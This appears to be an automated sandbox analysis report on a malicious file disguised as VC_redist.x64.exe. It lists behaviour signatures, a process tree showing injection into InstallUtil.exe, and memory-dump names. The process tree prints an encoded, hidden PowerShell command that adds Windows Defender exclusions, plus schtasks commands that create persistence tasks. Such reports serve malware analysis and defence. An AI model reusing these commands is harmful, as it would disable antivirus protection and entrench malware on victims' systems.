Analysis
- max time kernel
149s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 06:11
General
- Target VC_redist.x64.exe
- Size 1.3MB
- Sample260804-gxprtasfkb
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 3 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "vcjfurjl" /XML "C:\Users\Admin\AppData\Local\Temp\54df910b99624452815b9a21927797da.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\2f5f3fb3b87948809e2344b963e721fd.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAcABwAHMAdABhAG4AbABnAFwATwBwAGMAbwBkAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AcABhAGcAYQB0AGkAbwBuAEYAbABhAGcAcwBcAHAAcABzAHQAYQBuAGwAZwBcAE8AcABjAG8AZABlAC4AZQB4AGUAOwA=1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\PropagationFlags\ppstanlg\Opcode.exeC:\Users\Admin\AppData\Local\PropagationFlags\ppstanlg\Opcode.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\PropagationFlags\ppstanlg\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\ppstanlg\Opcode.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\PropagationFlags\ppstanlg\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\ppstanlg\Opcode.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Opcode.exe
2f5f3fb3b87948809e2344b963e721fd.xml
54df910b99624452815b9a21927797da.xml
memory/1304-2246-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/1304-2245-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1304-2248-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/1304-2249-0x0000000005560000-0x0000000005658000-memory.dmp
memory/1304-2247-0x00000000054F0000-0x0000000005560000-memory.dmp
memory/1304-2266-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/1304-2261-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/4136-68-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-52-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-62-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-126-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-131-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-128-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-124-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-122-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-120-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-118-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-116-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-114-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-109-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-106-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-104-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-102-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-100-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-98-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-96-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-95-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-92-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-90-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-112-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-110-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-88-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-86-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-84-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-82-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-80-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-78-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-76-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-74-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-72-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-70-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-5-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-66-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-65-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-60-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-58-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-56-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-8-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-46-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-54-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-45-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-42-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-40-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-32-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-30-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-28-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-26-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-24-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-22-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-21-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-18-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-16-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-12-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-48-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-50-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-38-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-37-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-34-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-6-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-14-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-10-0x0000000005BD0000-0x0000000005D1D000-memory.dmp
memory/4136-2237-0x0000000074562000-0x0000000074563000-memory.dmp
memory/4136-2238-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/4136-2239-0x0000000005F60000-0x0000000006008000-memory.dmp
memory/4136-2240-0x0000000006030000-0x00000000060D6000-memory.dmp
memory/4136-2241-0x0000000006120000-0x000000000616C000-memory.dmp
memory/4136-2242-0x0000000006980000-0x00000000069E6000-memory.dmp
memory/4136-2243-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/4136-2250-0x0000000074550000-0x0000000074D0C000-memory.dmp
memory/4136-4-0x0000000005E50000-0x0000000005EE2000-memory.dmp
memory/4136-0-0x0000000074562000-0x0000000074563000-memory.dmp
memory/4136-1-0x0000000000FF0000-0x0000000001148000-memory.dmp
memory/4136-2-0x0000000005BD0000-0x0000000005D22000-memory.dmp
memory/4136-3-0x0000000006310000-0x00000000068CA000-memory.dmp
memory/4872-2260-0x000001F89DD40000-0x000001F89DD4A000-memory.dmp
memory/4872-2259-0x000001F8B6610000-0x000001F8B66C2000-memory.dmp
memory/4872-2258-0x000001F8B65F0000-0x000001F8B660E000-memory.dmp
memory/4872-2255-0x000001F89DD10000-0x000001F89DD32000-memory.dmp